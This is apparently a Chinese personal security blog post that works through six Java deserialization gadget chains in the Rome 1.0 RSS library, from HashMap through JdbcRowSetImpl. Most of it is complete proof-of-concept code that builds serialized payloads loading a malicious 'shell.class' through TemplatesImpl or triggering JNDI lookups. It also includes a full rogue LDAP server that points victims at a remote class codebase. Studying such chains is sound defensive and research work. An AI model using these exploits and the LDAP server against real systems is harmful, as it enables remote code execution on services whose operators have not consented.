Rome反序列化
本文最后更新于 2 天前,其中的信息可能已经有所发展或是发生改变。

环境配置

jdk:8u65

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>rome</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>rome Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
  <dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>3.8.1</version>
    <scope>test</scope>
  </dependency>
  <dependency>
        <groupId>rome</groupId>
        <artifactId>rome</artifactId>
        <version>1.0</version>
    </dependency>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.25.0-GA</version>
  </dependency>
  </dependencies>
<build>
  <finalName>rome</finalName>
</build>
</project>

什么是Rome?

Rome是一种可以兼容多种格式的feeds解析器,可以利用其进行转换格式,也可以指定格式或者java对象

用于 RSS 和 Atom 订阅的 Java 框架

Gadget1(hashmap)

链子

 * TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

此链子本质是通过TostringBean#ToString

可以调用任意getter方法

private String toString(String prefix) {
      StringBuffer sb = new StringBuffer(128);
      try {
          PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
          if (pds!=null) {
              for (int i=0;i<pds.length;i++) {
                  String pName = pds[i].getName();
                  Method pReadMethod = pds[i].getReadMethod();
                  if (pReadMethod!=null &&                             // ensure it has a getter method
                      pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
                      pReadMethod.getParameterTypes().length==0) {     // filter getter methods that take parameters
                      Object value = pReadMethod.invoke(_obj,NO_PARAMS);
                      printProperty(sb,prefix+"."+pName,value);
                  }
              }
          }
      }
      catch (Exception ex) {
          sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
      }
      return sb.toString();
  }

正好的事Templateslmpl类的任意类加载就是利用了getOutputProperties()getter这一方法

private static final Object[] NO_PARAMS = new Object[0];

  private Class _beanClass;
  private Object _obj;

这里ToStringBean类的构造方法,_beanClass是beanClass,_obj是我们要调用的实例对象

这里的实例我们要利用的肯定就是Templateslmpl

写一个例子看看能不能利用成功

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test1 {
  public static void main(String[] args) throws Exception{
      TemplatesImpl templatesImpl = new TemplatesImpl();

      byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
      setValue(templatesImpl,"_name","sunsun");
      setValue(templatesImpl,"_class",null);
      setValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
      setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes} );

      ToStringBean stringBean = new ToStringBean(Templates.class,templatesImpl);
      stringBean.toString();

  }
  public static void setValue(Object obj, String name, Object value) throws Exception{
      Field field = obj.getClass().getDeclaredField(name);
      field.setAccessible(true);
      field.set(obj, value);
  }
}

很好,成功触发了

那么我们的入口在哪呢?我们利用EqualsBean类存在的hashCode(),可以调用任意类的toString

刚好就符合链子的要求

那readObject就选取HashMap中的readObject座位反序列化入口点即可,从URLDNS链就可知可以调用任意类的hashCode()

static final int hash(Object key) {
      int h;
      return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  }

EqualsBean#hashCode()

    public int hashCode() {
      return beanHashCode();
  }
  public int beanHashCode() {
      return _obj.toString().hashCode();
  }

然后就可以构造我们的POC了

package rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class POC_HashMap {
  public static void main(String[] args) throws Exception {
      TemplatesImpl templatesImpl = new TemplatesImpl();
      byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
      setValue(templatesImpl,"_name","sunsun");
      setValue(templatesImpl,"_class",null);
      setValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
      setValue(templatesImpl,"_bytecodes",new byte[][] {bytecodes} );

      ToStringBean stringBean = new ToStringBean(Templates.class,templatesImpl);
      EqualsBean equalsBean = new EqualsBean(ToStringBean.class,stringBean);

      HashMap map = new HashMap();
      map.put(equalsBean,19891321);

      serialize(map);
      unserialize("ser.bin");


  }
  public static void setValue(Object obj,String key,Object value) throws Exception{
      Field field = obj.getClass().getDeclaredField(key);
      field.setAccessible(true);
      field.set(obj, value);
  }
  public static String serialize(Object obj) throws IOException {
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
      objectOutputStream.writeObject(obj);
      String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
      return poc;
  }
  public static void unserialize(String exp) throws IOException,ClassNotFoundException{
      byte[] bytes = Base64.getDecoder().decode(exp);
      ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
      ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
      objectInputStream.readObject();
  }
}

哎哎,这种自己手搓一下就通的感觉好爽

Gadget2(HotSwappableTargetSource)

spring原生的toString利用链

链子

HashMap.readObject
HashMap.putVal
HotSwappableTargetSource.equals
XString.equals
ToStringBean.toString

先放上poc

package rome_hotSwappable;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import rome_hashmap.Serial;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class test1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
//toStringBean.toString();

HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean); //h1-target->toStringBean
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("ssssssssssssss"));//h2-target->new XString

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);

hashMap.put(h2,h2);
//XString.equals(toStringBean);



//Serial.Serialize(hashMap);
Serial.DeSerialize("ser.bin");
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

}

具体网上分析应该没有那么详细,链子很简短

前后链子和上面那个是一样的,中间穿起来利用到了HotSwappableTargetSource和XString类

最后我们是要触发到ToStringBean.toString去加载我们构造好的恶意类

第一步我们看到XString#equals

 public boolean equals(Object obj2)
{

if (null == obj2)
return false;

// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}

我们可以看到他的equals方法最后调用到了任意类的toString方法

实际链子的入口还是HashMap,其中在我们使用put方法传入链表后,第二次putval函数调用了equals

final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k))))
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}

我们传入两个h1,h2

其中h1会先存入到”桶”中,然后当h2被传入之后,会进行到此检测

这时候就变成了

h2.equals(h1)

这里去调用了HotSwappableTargetSource中的equals方法

public boolean equals(Object other) {
return (this == other || (other instanceof HotSwappableTargetSource &&
this.target.equals(((HotSwappableTargetSource) other).target)));
}

然后看到HotSwappableTargetSource的构造方法,可知this.target为传入的参数

public HotSwappableTargetSource(Object initialTarget) {
Assert.notNull(initialTarget, "Target object must not be null");
this.target = initialTarget;
}

然后我们就可知最后this.target.equals(((HotSwappableTargetSource) other).target

就会变成XString.equals(toStringBean)至此链子打通

Gadget3(ObjectBean)

链子

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashcode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

ObjectBean#hashcode()调用了EqualsBean#beanHashCode()

所以这个就和最上面那一条是等价的了,直接构造POC

package rome_objectbean;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class rome_objectbean {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));

setValue(templatesimpl,"_name","ssss");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);这个就是个手动创建而已,两种都可以执行,反正原理一样,自己闲的没事多写的
//ObjectBean objectBean = new ObjectBean(EqualsBean.class,equalsBean);
ObjectBean objectBean1 =new ObjectBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(objectBean1, "123");

serialize(hashMap);
unserialize("ser.bin");
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

}

Gadget4(HashTable)

链子

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashcode()
HashTable.reconstitutionPut(Entry)
HashTable.readObject(ObjectInputStream)

其实这条链子存在的原因就是考虑到当HashMap被ban的情况下,可以利用HashTable进行绕过

HashMap#put可以调用任意类的hashCode,那HashTable的也可以

public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}

// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}

这里可以利用上面ObjectBean那个链子就连起来了

package rome_hashtable;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;

import java.nio.file.Paths;
import java.util.Base64;
import java.util.Hashtable;

public class rome_hashtable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesImpl,"_name","fish");
setValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
setValue(templatesImpl,"_bytecodes",new byte[][]{bytecodes});
setValue(templatesImpl,"_class",null);

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);

ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"objectBean");

serialize(hashtable);
unserialize("ser.bin");


}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

Gadget5(BadAttributeValueExpException)

链子

TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject()

BadAttributeValueExpException这个类中的readObject能够调用任意的toString方法

public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}


/**
* Returns the string representing the object.
*/
public String toString() {
return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

直接poc

这里我用base64的库去写的ser和unser,出了个报错,对于.的处理会有问题,于是换回了原始的写法

package rome_BadAttributeValueExpException;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class rome_BadAttributeValueExpException {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\fastjson西湖论剑1.2.48链子\\api\\ez_api\\rome\\src\\shell.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);

serialize(badAttributeValueExpException);
unserialize("1.txt");;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(object);
oos.close();
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

Gadget6(JdbcRowSetImpl)

当Templateslmpl被ban时,可以利用JdbcRowSetImpl动态加载字节码

我们知道ToStringBean#toString会调用所有的getter

我们可以利用到JdbcRowSetImpl.getDatabaseMetaData()这个getter

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}

跟进connect就会发现最终调用到了lookup方法,就实现了JNDI注入

起一个LDAP服务

package rome_jdbc;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;

public class fastjson_LDAP_poc1 {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {

String codebase = "http://127.0.0.1:8888/#EXP";
int port = 9999;

if (args.length > 0) {
codebase = args[0];
}

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(codebase)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
System.out.println("Codebase: " + codebase);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;

public OperationInterceptor(URL cb) {
this.codebase = cb;
}

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
System.out.println("=== LDAP Server: Received request for base: " + base + " ===");

Entry e = new Entry(base);
try {
sendResult(result, base, e);
System.out.println("=== LDAP Server: Response sent successfully ===");
} catch (Exception e1) {
System.err.println("=== LDAP Server: Error sending response ===");
e1.printStackTrace();
}
}

protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws Exception {

// 获取类名(# 后面的部分)
String className = this.codebase.getRef();
System.out.println("Extracted class name: " + className);

if (className == null || className.isEmpty()) {
// 如果没有 #,从路径中提取类名
String path = this.codebase.getPath();
if (path.contains("/")) {
className = path.substring(path.lastIndexOf('/') + 1);
// 去掉 .class 后缀(如果有)
if (className.endsWith(".class")) {
className = className.substring(0, className.length() - 6);
}
} else {
className = path;
}
System.out.println("Using class name from path: " + className);
}

// 构造类文件 URL
String codebaseUrl = this.codebase.toString();
int refPos = codebaseUrl.indexOf('#');
if (refPos > 0) {
codebaseUrl = codebaseUrl.substring(0, refPos);
}

// 确保 codebaseUrl 以 / 结尾
if (!codebaseUrl.endsWith("/")) {
codebaseUrl += "/";
}

URL classUrl = new URL(codebaseUrl + className.replace('.', '/') + ".class");
System.out.println("Class URL: " + classUrl);
System.out.println("CodeBase: " + codebaseUrl);
System.out.println("Factory: " + className);

// 设置 LDAP 条目属性
e.addAttribute("javaClassName", "java.lang.String");
e.addAttribute("javaCodeBase", codebaseUrl);
e.addAttribute("objectClass", "javaNamingReference");
//e.addAttribute("javaFactory", className);
e.addAttribute("javaFactory", "json_dome.EXP");

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

System.out.println("=== LDAP Server: Sent reference for class: " + className + " ===");
}
}
}

POC

package rome_jdbc;

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class rome_jdbc {

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

String url = "ldap://localhost:9999/EXP";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");

serialize(hashMap);
unserialize("3.txt");

}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("3.txt"));
oos.writeObject(object);
oos.close();
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇